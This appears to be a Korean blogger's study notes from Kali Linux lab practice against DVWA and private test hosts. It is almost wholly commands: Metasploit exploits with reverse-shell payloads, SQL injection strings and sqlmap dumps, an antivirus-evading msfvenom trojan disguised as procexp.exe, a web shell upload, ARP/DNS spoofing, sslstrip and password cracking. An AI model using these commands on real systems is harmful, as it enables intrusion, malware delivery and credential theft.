스스로 보안 상태를 점검해 보고자 하던차에
백트랙의 기억을 되살려 칼리 리눅스를 경험해 보게 되었다.
많은 기능들 중 주요 기능에 대해서 느낄 수 있는 기회였고 이를 통해 각 모듈 또는 기능들에 대해 좀더 관심을 가지게 되었다.
######### "칼리 리눅스 입문자를 위한 ~"에서 소개한 참고 서적 #########
nmap nse를 활용한 보안 취약점 진단
공포의 해킹 툴 백트랙4
네트워크 검색과 보안 진단을 위한 nmap6
모의 해킹 전문가를 위한 메타스플로잇
모의 해킹을 위한 메타스플로잇
배시 쉘로 완성하는 모의 해킹 기술
백박스를 활용한 침투 테스트와 모의 해킹
백트랙으로 시작하는 무선 해킹
실전 모의 해킹과 침투 테스트
침투 테스트
칼리 리눅스 실전 활용
칼리 리눅스를 활용한 모의 침투 테스트와 보안 진단
칼리 리눅스와 백트랙을 활용한 모의 해킹
파이썬 오픈소스 도구를 활용한 악성코드 분석
해킹 초보를 위한 웹 공격과 방어
##################
메타스플로잇
메타스플로잇 프레임워크
펄 -> 루비 언어 사용
객체 지향
침투 테스트 도구
포트스캔
DoS
Fuzzing
Exploit 1,467개
Auxiliary 840개
service postgresql start
msfconsole
db_status
db_services (모두 삭제 시 db_services -d)
MSF는 PostgresSQL과 연동
수동적인 정보 수집
메일 주소와 관련있는 호스트들의 IP 주소를 조회할 수 있음
nmap -p 80 --script=http-email-harvest facebook.com
[harvester]
theharvester -d facebook.com -l 10 -b all
==> 두 명령어의 결과값이 다름
능동적인 정보 수집
[nmap]
[db_nmap](MSF)
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/ftp/anonymous
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/netbios/nbname
brute force attack
SYSTEM
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/ssh/ssh_login
use auxiliary/scanner/telnet/telnet_login
use auxiliary/scanner/smb/smb_login
DBMS
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/admin/mysql_sql
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_hashdump
select frist_name, last_name, user, password from users where first_name='admin' and last_name='admin';
==> SQL Injection
select frist_name, last_name, user, password from users where first_name='admin' and last_name='' or ''='';
select frist_name, last_name, user, password from users where first_name='admin' or '1'='1';# and last_name='' or ''='';
select frist_name, last_name, user, password from users where first_name='admin' or '1'='1';-- and last_name='' or ''='';
[SQLMAP]
sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" --dbs
sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" -dbs "dvwa" --tables
sqlmap -u "http://192.168.10.202/dvwa/vulnerabilities/sqli_blind/?id=test&Submit=Submit" \--cookie="PHPSESSID=859D7E6750BC0796884281A54391761C7; security=low" -dbs "dvwa" -T "users" --columns
/root/.sqlmap/output/192.168.10.202/
/root/.sqlmap/output/192.168.10.202/dump/dvwa/users.csv
PHP언어에서는 mysql_real_escape_string()함수 이용 SQL Injection 공격에 대비
search osvdb_13378
use exploit/unix/misc/distcc_exec
set payload cmd/unix/bind_ruby
set rhost 192.168.10.202
exploit or run
use module~~
set payload~~
ctrl+c, ctrl+z(백그라운드)
sessions -l
sessions -i (Session ID)
search osvdb-34700
exploit name --> Module
BOF(Buffer over flow)
데이터 실행 방지
주소 공간 설계 난수화
스택가드/스택방패 방법
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp -meterpreter 환경
set payload windows/shell/reverse_tcp -shell 환경
set rhost 192.168.10.201
set lhost 192.168.10.220
set lhost 443
exploit or run
shell
screenshot
run ~~anti-virus engine
sysinfo
getuid
getsystem
getuid
공격자가 주입한 프로세스가 정상적인 프로세스로 인식되도록 조작하기
getpid
ps -S explorer
migrate XXXX(explorer의 PID)
JtR(John the Ripper password cracker)
/etc/john/john.conf
/usr/share/john/password.lst
/root/.john/
john
unshadow /etc/passwd /etc/shadow > /tmp/password.txt
john --wordlist=/usr/share/john/password.lst --format=crypt /tmp/password.txt
john --show /tmp/password.txt
Windows JtR
ms08_067 공격 이용
run post/windows/gather/hashdump를 이용해 (NT)LM HASH 값 획득
john --wordlist=/usr/share/john/password.lst --format=LM /tmp/password.txt
hydra -L /tmp/users.txt -P /tmp/passwords.txt 192.168.10.202 mysql
medusa -U /tmp/users.txt -P /tmp/passwords.txt -h 192.168.10.202 -v 4 -M mysql
################
3대 침투 도구 : MSF, BeEF, SET
트로이목마
msfvenom
msfvenom -l encoders
msfpescan
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f c -o /tmp/malicious.exe
chmod 777 /tmp/malicious.exe
cat > /tmp/malicious.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.220
set lport 443
exploit
다중 인코딩(x86/shikata_ga_nai를 3번 인코딩)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f exe -e x86/shikata_ga_nai -i 3 -o /tmp/malicious.exe
다중 인코딩(procexp.exe파일에 procexp.exe 파일을 인코딩)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.220 lport=443 -f exe -x /root/procexp.exe -k -e x86/shikata_ga_nai -i 3 -o /tmp/procexp.exe
MSF에서 악성코드 만들기
use exploit/windows/fileformat/adobe_pdf_embedded_exe
set infilename /tmp/beef_attachment.pdf
set filename BeEF.pdf
exploit
XSS
use exploit/windows/browser/ms10_042_helper_xss_cmd_exec
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.220
set lport 443
set srvhost 192.168.10.220
set srvport 80
set uripath /
exploit -j -z
Web Shell
weevely genernate 1234 weevely.php
weevely.php upload
weevely http://192.168.10.202/dvwa/hackable/uploads/weevely.php 1234
/usr/share/w3af/w3af/plugins/attack/payloads/webshell/
/usr/share/metasploit-framework/modules/
하위 디렉토리에 메타스플로잇의 모듈들 위치
MSF 백과사전 사이트
https://www.offensive-security.com/metasploit-unleashed/
DNS Spoofing
ettercap -i eth0 -T -P dns_spoof -M ARP /192.168.10.201// /192.168.10.2//
SSL Spoofing
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arpspoof -i eth0 -t 192.168.10.201 -r 192.168.10.2
sslstrip -l 8080 -w /tmp/sslstrip.log
setoolkit
댓글